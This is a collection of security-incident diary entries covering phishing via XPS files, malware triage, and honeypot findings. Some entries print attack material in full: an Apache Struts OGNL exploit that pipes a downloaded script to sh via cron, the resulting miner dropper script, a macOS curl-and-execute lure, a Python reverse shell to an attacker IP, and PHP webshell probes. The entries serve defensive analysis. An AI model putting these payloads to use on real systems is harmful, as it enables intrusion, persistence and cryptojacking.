You are working in an organization which implemented good security practices: log events are collected then indexed by a nice powerful tool. The next step is usually to enrich this (huge) amount of data with external sources. You collect IOC's, you get feeds from OSINT. Good! You start to create many reports and rules to be notified when something weird is happening. Everybody agrees on the fact that receiving too many alerts is bad and people won't get their attention to them if they are constantly flooded. So, you fine-tuned your rules to get a correct amount of alerts with a low (read: acceptable) rate of false positives. But are your rules still relevant or properly implemented? Is it normal to never get a notification?

In physical security, it is mandatory to perform a regular test of fire alarms in big buildings. Here, in Belgium, it is usually scheduled at noon every first Thursday of the month. And what about infosec? I met a C-level who was always asking:

"Hey Guys, anything suspicious detected on our infrastructure?"
"Nothing special, we are fine!"
"Hmmm, maybe I should be scared of this answer!"

As our infrastructures are quickly changing, it could be a good idea to implement the same kind of regular check-up to trigger your hunting rules. Are you looking for suspicious DNS traffic, then schedule a monthly DNS resolution of a pre-defined FQDN. It must trigger your rule. If it's not the case, you're in trouble and you're maybe missing real suspicious traffic.

We hate to be flooded with false positives but never get one is even more suspicious! And it keeps your security analysts awake! 

Did you implement suck controls? Feel free to share!

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

While Phishing is never a good thing, it is interesting to see something different than your normal phishing attempt.  We received an email today from Earl Ruberts about an email their IT department received from a purchasing department of another company with which they have no relationship.  The email contained an attachment that had a .xps extension.  They conducted scans of the attachment that came back clean and the email did not appear to be spoofed.  They contacted the company to ask them if they sent it and found out they were actively cleaning up an account compromise.  Since the email and attachment was suspicious, Earl asked us to take a look.  Here is the body of the email:

Using a VM, I took a quick look at the attachment in notepad and it showed a structure that looked like an XPS file.  An XPS extension stands for "XML Paper Specification" and if like Microsoft's version of a PDF using XML.  So, I used Microsoft's built-in XPS viewer to open the file.  This was where the phishing came into play.  Here is what you see when you render the file:

The phishing folks use the ploy of a "Secure attached file" in the XPS file since this is supposed to be a copy of a check and "Payment Advice" in order to convince the victim they are being careful with their check.  Also, the SharePoint references would be convincing to people if asking them to retrieve files, since many businesses use SharePoint internally for this purpose.  The average user would probably click on this.  The "OPEN FILE" portion contains is a hyperlink to hxxps://areticaempresarial[.]com[.]br/microsoftsharepoint/share.php

This again is continuing the ploy with use of "microsoftsharepoint" in the URLto help lure the victim into clicking.  The URL is visible when you hover over it.  If the user clicks the link, they are presented with the following screen:

The user would then be asked for their password from a site with a nice Microsoft logo (It is SharePoint, right?) and if they followed the directions in the attachment, they would provide their "professional" email and password credentials.

It seems that we have a compromised account being used to send phishing emails in order to phish more account credentials from other victims.  This could really reek havoc on partners of a company with a compromised account(s).  I would venture to guess that is not all that the accounts are being used for or will be used for in the future.  Also, an XPS isn't a file type that you see often today and probably isn't on the prohibited file extension list of most email gateways.  It's a file extension that if you aren't actively using it internally and you don't expect to get that type of file in from external, I'd recommend blocking it on your email gateway.  This is also a great example of how important it is to train your employees to be suspicious of unexpected emails and to not just click on everything!  

Lorna Hutcheson
ISC Handler

The lead story in the SANS NewsBites from today was "White House/DHS Announce New Cyber Skills Pipeline Initiative.” The two statements below caught my attention.

1 - “The Federal Government struggles to recruit and retain cybersecurity professionals due to a shortage of talent along with growing demand for these employees across the public and private sectors.”

2 - “As agencies prioritize their cyber workforce needs, they will likely need to adopt innovative hiring techniques to ensure the best and brightest cyber talent can seamlessly enter the Federal Government.”

With the cybersecurity talent shortage, we must get creative in where we look to fill our open cybersecurity positions. Many years ago a good friend in the Human Resources department gave me the advice to hire character and train skills. For many years I have experienced success in finding team members from non-traditional areas and then sending them to learn our craft. A couple of examples include Fraud and Abuse, Help Desk and Network Operations. I found it interesting to learn from them how their former departments operate as well as learning firsthand how their department viewed the information security program. Yes, it pays to have thick skin.

From what non-traditional areas have you found talented members to join your information security team?

Russell Eubanks

ISC Handler

SANS Instructor

@russelleubanks

Loyal reader Carlos submitted another suspicious file, found with a ransomware infection. The executable is very large, 25MB, too large to be submitted via our form. Carlos shared the link for the download:

hxxps://github[.]com/mailchuck/PyBitmessage/releases/download/v0[.]5[.]8/Bitmessage-0[.]5[.]8[.]exe

As you can see, it's hosted on GitHub.

Analyzing a 25MB PE file can be a huge task. Fortunately for me, this PE file is a compiled Python program. Decompiling the PE file resulted in a Python program, that did not seem to contain malicious code (I did not look at the modules).

Doing a dynamic analysis in a sandbox, I saw the following:

This looks like a genuine messaging app (BitMessage). So maybe this sample is trojanized. But analyzing a 25MB PE file looking for malicious code, can be difficult. Let's see what VirusTotal has to say:

7 detections for ransomware is not much. Before I started to look at the sample again, I did some research with the help of Google.

I discovered that there have been several reports of ransomware cases, where the criminals "invited" their victims to download this specific version of BitMessage to communicate with them.

Like this ransom note:

My conclusion: this BitMessage application, a fork of the official BitMessage application, is most likely not malicious, although proving this with 100% certainty is impossible. There is simply too much code to analyze.

The detections reported on VirusTotal are most likely the result of "guilt by association". This specific version of BitMessage has been found in several ransomware cases, and users and automatic sandboxes have submitted this sample to VirusTotal, sharing it with anti-virus vendors. It's a bit like the empty file (MD5 d41d8cd98f00b204e9800998ecf8427e): it has been found so many times on malware infected machines (for example because of failed dynamic analysis), that it has a large number of downvotes on VirusTotal:

While the number of (malicious) bytes it contains is ... zero.

Conclusion: when you investigate infections, files that are detected by anti-virus programs might actually be bening, but still provide clues to help you further in your analysis.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Lorna analyzed a reader submitted XPS file: a phishing attempt. I would like to provide some pointers for the static analysis of XPS files.

XPS files are like OOXML files (MS Office files): mainly XML files inside a ZIP container, e.g. a file according to the Open Packaging Conventions specification.

Here you can see the content with zipdump.py:

The presence of files with extensions .fpage and .fdoc is an indicator that this is a XPS file. We can also look inside the first file [Content_Types].xml, it defines all the MIME media types present in this archive:

You might notice some XPS MIME media types in this XML document. Extracting the attributes with xmldump.py will make this more obvious:

File 12 (1.fpage) is an XML file describing the content of a page:

We can see it's UNICODE, so let's decode it:

The phishing URL Lorna analyzed is visible in this output. We can also use re-search.py to extract all URLs found in this file:

Or even the URLs from all files, but this will give a long list with legitimate URLs, so I use option -u (unique) to print each URL only once:

It's also possible to extract the text rendered by the page file. It can be found in attributes UnicodeString:

If you have encountered XPS files used for phishing or other malicious activities, please post a comment.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Yesterday I came across a suspicious binary from which MD5 and SHA hashes didn't match any sample on public malware repositories, such as VirusTotal (VT) and TotalHash, nor known sandboxes.

An initial option would be submitting the dubious binary to VT and have it analyzed by 60+ engines to find out more. However, depending on the case, publicly exposing a file may not be a good choice for different reasons, like alerting adversary he was found or merely publishing file's content. 

It wasn't my case as I was almost sure my sample was a common WannaCry variant, and I would have no problem publicly exposing it.  Even though I decided to study alternative ways to discover it before determining going deep with static and dynamic analysis. 

Comparing characteristics

It is common for samples of the same family share some similarities and fortunately, there are known approaches and tools to help us identify a specific binary comparing it.

IMPHASH

One of those is Imphash[1], which computes a fingerprint of the binary's IAT (Import Address Table). In a PE (Portable Executable) file, IAT contains the list of the dynamically linked libraries and functions a given binary needs to run. Thus, the idea here is: if two binaries have the same "imphash", there are high chances they have similar objectives.

Computing imphash of my suspicious sample, we have:

--

In [1]: import pefile

In [2]: file=pefile.PE('tasksche.exe')

In [3]: file.get_imphash()

Out[3]: '68f013d7437aa653a8a98a05807afeb1'

--

As seem, using Python "pefile" module it is easy to calc imphash. Now let's compare it.

To this end, I'll use #totalhash [2], a malware analysis database which, amongst other functionalities, allows for "imphash" search.

As seen, 17 binaries with different hashes matched to my file’s imphashs. Choosing one of them, and looking at the details, my initial suspicion began to be confirmed.

As a bonus, I discovered that it is possible to use imphash function inside Yara rules. Take a look.

SSDEEP

To step up the analysis, I obtained one of those 17 files and performed an additional check with ssdeep [3], which computes a fuzzy hash of sequences of identical bytes in the same order in a binary.

I copied both files (my sample and the one I obtained) to a test directory and rum ssdeep, as seen in Figure 3.

Ssdeep score ranges from 0 to 100. Higher the number, more is the homologies between files.

RADIFF2

Until now, we have high indicators that our suspicious file is a WannaCry variant, but it is possible to check for additional characteristics.

There is a tool called “raddif2” part of Radare2 Project [4] which disassembles and compare binaries. Using it, I compared the main function between my binary and the sample I obtained using the following command.

$ radiff2 -g main tasksche.exe wannacry-sample1.exe | xdot –

From this, a graphic was generated, as seen in Figure 3.

Although it is not possible to read the figure contents, radiff2+xdot uses colors to represent differences. Grey is a perfect match, Yellow indicates some offsets don’t match, and red shows a substantial difference [4].

Conclusion

Discovering that my “unknown” sample is a regular WannaCry variant with a high degree of certainty was enough for my scenario. Of course, depending on the case, further analysis may be required to make sure dissimilarities does not represent malware modifications with important implications to scope the incident.

References:

[1] https://www.fireeye.com/blog/threat-research/2014/01/tracking-malware-import-hashing.html
[2] https://totalhash.cymru.com/
[3] https://ssdeep-project.github.io/ssdeep/index.html
[4] https://r2wiki.readthedocs.io/en/latest/tools/radiff2/

 

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Cryptominers are still all the rage. I really wish that attackers would actually come up with a new scheme to make money so life will be more interesting. But then again, sometimes it is nice if security is a bit boring and not too exciting.

The latest cryptocoin miners I have seen try to make it a bit more difficult to detect them by being less greedy and not asking for all the CPU cycles at once. They also take better advantage of some newer CPU features like AES support.

This particular sample starts out, like so many of them, with a Struts exploit. I highlighted the "interesting" part in red below.

Host: [IP REMOVED]:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/9 * * * * wget -O - -q http://45.227.252.250/static/font.jpg|sh\n*/10 * * * * curl http://45.227.252.250/static/font.jpg|sh" | crontab -;wget -O - -q http://45.227.252.250/static/font.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

As typical for these kinds of attacks, the attacker is adding a cron job for persistence:

*/9 * * * * wget -O - -q http://45.226.252.250/static/font.jpg
*/10 * * * * curl http://45.227.252.250/static/font.jpg

And the attacker is downloading and executing this file. As you probably guess, "font.jpg" is not an image. Instead, it is a little shell script. I added some comments to the script below.

#!/bin/sh

# Define a couple variables
id1="toichhv"
id2="fcgtnvb"
id3="daasd"

# rmove old copies

rm -rf /var/tmp/hfdncd
rm -rf /var/tmp/`echo $id1`.cf

# kill old copies and possibly competing miners (kind of lazy.. there are more)

ps auxf|grep -v grep|grep -v `echo $id2`|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep `echo $id1`|awk '{print $2}'|xargs kill -9

# check if "$id2" (fcgtnvb) is already running. If not, then download the '$id3' configuration file (daasd.cf) 

ps -fe|grep `echo $id2`|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/`echo $id2`.cf
rm -rf /var/tmp/`echo $id2`.cf
curl -o /var/tmp/`echo $id2`.cf hxxp://45. 227.252.250/static/`echo $id3`.cf
wget -O /var/tmp/`echo $id2`.cf hxxp://45. 227.252.250/static/`echo $id3`.cf
chmod 777 /var/tmp/`echo $id3`
rm -rf /var/tmp/`echo $id3`

# check if our CPU supports AES encryption features.

cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then

#if not, then download the "old" miner

curl -o /var/tmp/`echo $id3` hxxp://45. 227.252.250/static/`echo $id3`
wget -O /var/tmp/`echo $id3` hxxp://45. 227.252.250/static/`echo $id3`
else

# if it does, then download the miner with AES support

curl -o /var/tmp/`echo $id3` hxxp://45. 227.252.250/static/`echo $id3`_an
wget -O /var/tmp/`echo $id3` hxxp://45. 227.252.250/static/`echo $id3`_an
fi
chmod +x /var/tmp/`echo $id3`
cd /var/tmp

# figure out how many CPU cores we have and divide the number by 2

proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))

# start the mining, and pass the configuration file as well as the number of threads we should use (which is set to half the CPU cores we have). Note that the CPU core calculation doesn't account for hyperthreading.

./`echo $id3` -c `echo $id2`.cf -t `echo $cores` >/dev/null &
else
echo "Running....."
fi

The configuration file presents us with the stratum server and credentials used by this attacker (I added some spaces to allow the line to break):

    "url" : "stratum+tcp://148.251.133.246:80",
    "user" : "G4zCtiWVg4xajdZrRVcLK5AmJA jFdnTWmUV9VUQCkpiN3v7vBcCui jYHp3LbqMA2EjCmWiD1anqC 714DyinRB5dnLjR6ss9",
    "pass" : "x",
    "algo" : "cryptonight-monero",
    "quiet" : true

This appears to be a private pool / proxy. The only reference to the IP I could find via passive DNS from Farsightsecurity is "new.etnpool.info." But that hostname now points to a different IP and appears to be not responsive. Running the pool on port 80, and using a non-standard pool makes it more difficult to identify the traffic as malicious. But note that no DNS lookup is necessary. Outbound connections to IPs that were not resolved via DNS is one signature that often leads to badness.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Previous days we've seen multiple MacOS malware attacks, originating within crypto related Slack or Discord chats groups by impersonating admins or key people. Small snippets are being shared, resulting in downloading and executing a malicious binary. 

Users are asked to executed a script:
cd /tmp && curl -s curl $MALICIOUS_URL > script && chmod +x script && ./script

A file will be downloaded by curl to /tmp/script and executed. The file is a large mach064 binary (34M), rating a perfect score of 0 / 60 on virustotal. 

Hashes of the file:
$ rahash2 -a all ./script
./script: 0x00000000-0x021c838e md5: 9c9fbf7c1af80fa97b20e1de56b2ffc8
./script: 0x00000000-0x021c838e sha1: 8b0ddba0c4b284124db5adf95d37c37d2f01da10
./script: 0x00000000-0x021c838e sha256: 46010724b906982297c3eff67389d951671c04ec1dbc103826e41a0fd38344c7
./script: 0x00000000-0x021c838e sha384: 8f8c4b6aec234cb9d38f567a98e35e5167975f5ba160d538ba914d4f0d21defb353d6d1db15e6b4ae94df49e5b42175f
./script: 0x00000000-0x021c838e sha512: 73a58fde42631e9d3a00ac5adc01ed3c19dde69d453bba929f0d4bab0d7dda6f821a77cc5a816b4bdb5517fd543ae4c587a780ccf7a707d3cec818a2586939e8

To inspect the binary, I'm using Radare2:
[0x100000e00]> i
blksz    0x0
block    0x100
fd       3
file     /mnt/script
format   mach064
iorw     false
mode     r-x
size     0x21c838f
humansz  33.8M
type     Executable file
arch     x86
binsz    35423119
bintype  mach0
bits     64
canary   true
class    MACH064
crypto   false
endian   little
havecode true
intrp    /usr/lib/dyld
lang     cxx
linenum  false
lsyms    false
machine  x86 64 all
maxopsz  16
minopsz  1
nx       false
os       macos
pcalign  0
pic      false
relocs   false
static   false
stripped true
subsys   darwin
va       true

Further investigation of the strings within the binary show references to path /Users/zeit/pkg-fetch and to the Google V8 javascript engine. This leads me to the javascript to binary "compiler" called pkg. Pkg packages javascript applications together with nodejs as a standalone executable. Building the example application of pkg gives a similar binary structure as the one we are investigating. 

During the pkg process, these files where included:
0x21b0cab: /snapshot/script/script.js
0x21b24a5: /snapshot/script/sudo.js
0x21b4578: /snapshot/script/node_modules/read/lib/read.js
0x21b687d: /snapshot/script/node_modules/pidof/lib/pidof.js
0x21b797a: /snapshot/script/node_modules/inpath/lib/inpath.js
0x21b8703: /snapshot/script/node_modules/mute-stream/mute.js

Private packages are stored as V8 compilations without source, which makes it a bit more difficult to reverse engineer. It is much easier to just run the file with instrumentation in a lab environment.

On MacOS binary activity can be instrumented using dtruss, much like strace works on Linux:
$ dtruss -f ./script

During execution, rights are elevated using sudo and the following files written:

/var/root/script.sh
#!/bin/bash
while :
do
    python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("185.243.115.230",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
    sleep 5
done

/Library/LaunchDaemons/com.startup.plist
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>KeepAlive</key>
        <true/>
        <key>Label</key>
        <string>com.startup</string>
        <key>Program</key>
        <string>/var/root/script.sh</string>
        <key>RunAtLoad</key>
        <true/>
</dict>
</plist>

The bash script (which runs a python command) tries to connect to %%ip:185.243.115.230%% at port 1337 within a loop and the python code creates a reverse shell. To ensure execution during startup it creates a launch daemon. At the moment I was testing this, the reverse shell failed to connect. 

There are also references to dumpdummy, but those files weren't written:

• /Users/Shared/dumpdummy
• /tmp/dumpdummy

CrownCloud, a german based provider is the owner of the block of %%ip:185.243.115.230%% and the server appears to be located in the Netherlands.

References:

• virustotal
• https://github.com/zeit/pkg

IOCs:

• 185.243.115.230
• /var/root/script.sh
• /Users/Shared/dumpdummy
• /Library/LaunchDaemons/com.startup.plist
• /tmp/script.sh
• /tmp/com.startup.plist
• /tmp/dumpdummy

If you have any information about this, create a comment or contact me.

Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DutchSec
PGP Key

A couple of readers answered my call for samples in diary entry "Analyzing XPS files", thanks!

Their samples are exactly of the same type (containing a phishing link), you can use the same commands I used in my previous diary entry to extract the URL:

Someone asked me to explain in more detail this one-liner I used in my last diary entry.

The problem: we want to extract the URLs from the XPS file.

The solution: the URLs are found in XML files inside a ZIP container (that's essentially the structure of an XPS file), hence, extract the files and grep for URLs.

Now, because of my IT formative years with Unix, I have a preference for command-line tools piped together. That's what I use in this one-liner.

First we need the content of the ZIP file (e.g. XPS file). We can get this with unzip, but then the content gets written to disk, and I want to avoid this, I want to send all the output to stdout, so that it can be piped into the next command, that will extract the URLs. When I analyze malware, I try to write to disk as little as possible.

This can be done with my tool zipdump.py.

Command "zipdump.py -D 17e019947f793abd034652cb13c729577f1a175c2289104270ecd58378289d17.vir" decompresses all files in this XPS sample, and outputs the bytes to stdout: option -D dumps the content of all files inside the ZIP archive.

Then we want to grep for the URLs. We don't know what domains we need to look for, so we will use a regular expression that matches generic URLs. We could do this with grep, but that regular expression for URLs is quite long, and I don't have it memorized. That's one of the reasons I developed my re-search.py tool: it has a small library of regular expressions.

Command "re-search.py -n url" greps for URLs. Option -n instructs re-search.py to look up a regular expression in its library by name, the name of the regex we want is url.

With help option -h, you can get an overview of re-search's regex library (there's also a build-in man page, option -m displays this man page):

Microsoft documents (like OOXML Office documents and XPS documents) contain many URLs, identifying the different standards and formats used in said document: grepping for URLs will give a long list. To make this list shorter, I used option -u (unique) to report each URL only once, regardless of the numbers of times each URL appears in the contained files. The complete re-search command we will use is "re-search.py -u -n url".

We can pipe commands zipdump and re-search together, but then we risk encountering problems, because most of the time XPS documents will contain non-ASCII files, like images and UNICODE files. re-search.py can handle binary files (like images) given the right option, but it does not handle UNICODE properly (yet).

That's why we use command strings to extract all strings from the files inside the ZIP archive. Unfortunately, Microsoft Sysinternals' strings.exe command does not accept input from stdin. That's why I use my own version that does: strings.py.

Thus the complete chain of commands becomes:

zipdump.py -D 17e019947f793abd034652cb13c729577f1a175c2289104270ecd58378289d17.vir | strings.py | re-search.py -u -n url

If you still have difficulties finding the phishing URL in this long list of URLs, you can use regular expression url-domain. This regular expression matches URLs exactly like regular expression url, but only outputs the domain, and not the full URL.

Strictly speaking, re-search.py is more like grep with option -o. grep -o does not output the complete line in case of a match, but just the match itself. This is what re-search.py does by default.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Rereading yesterday's diary entry, I decided to make the analysis method a bit simpler, by avoiding the processing step with the strings command. re-search.py now takes a new option to extract all strings.

Details in this video:

Didier Stevens
Senior Handler - Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

In the last few days (27 June on), my honeypot collected from various sources the same eight PHP POST to these scripts. Here are the eight scripts it attempts to post to:

20180629-132704: 192.168.25.2:80-47.96.42.91:3216 data "POST /wuwu11.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 45\r\n\r\nh=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132704: 192.168.25.2:80-47.96.42.91:3255 data "POST /xw.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 45\r\n\r\nh=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132705: 192.168.25.2:80-47.96.42.91:3533 data "POST /xx.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 47\r\n\r\naxa=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132705: 192.168.25.2:80-47.96.42.91:3609 data "POST /s.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 48\r\n\r\nleng=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132706: 192.168.25.2:80-47.96.42.91:3625 data "POST /w.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 48\r\n\r\nleng=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132706: 192.168.25.2:80-47.96.42.91:3707 data "POST /db.init.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 48\r\n\r\neval=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132707: 192.168.25.2:80-47.96.42.91:3733 data "POST /db_session.init.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 48\r\n\r\neval=die('Hello, Peppa!'.(string)(111111111*9));"
20180629-132707: 192.168.25.2:80-47.96.42.91:3779 data "POST /sheep.php HTTP/1.1\r\nHost: 192.168.96.183:80\r\nUser-Agent: Mozilla/5.0\r\nConnection: Close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 44\r\n\r\nm=die('Hello, Peppa!'.(string)(111111111*9))"

What is strange about these post, the test string is always the same [..]=die('Hello, Peppa!'.(string)(111111111*9))"

Have you seen any of these in your logs?

[1] http://www.honeypots.tk/details?id=W5CKOYAY8PQ3KGAC

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu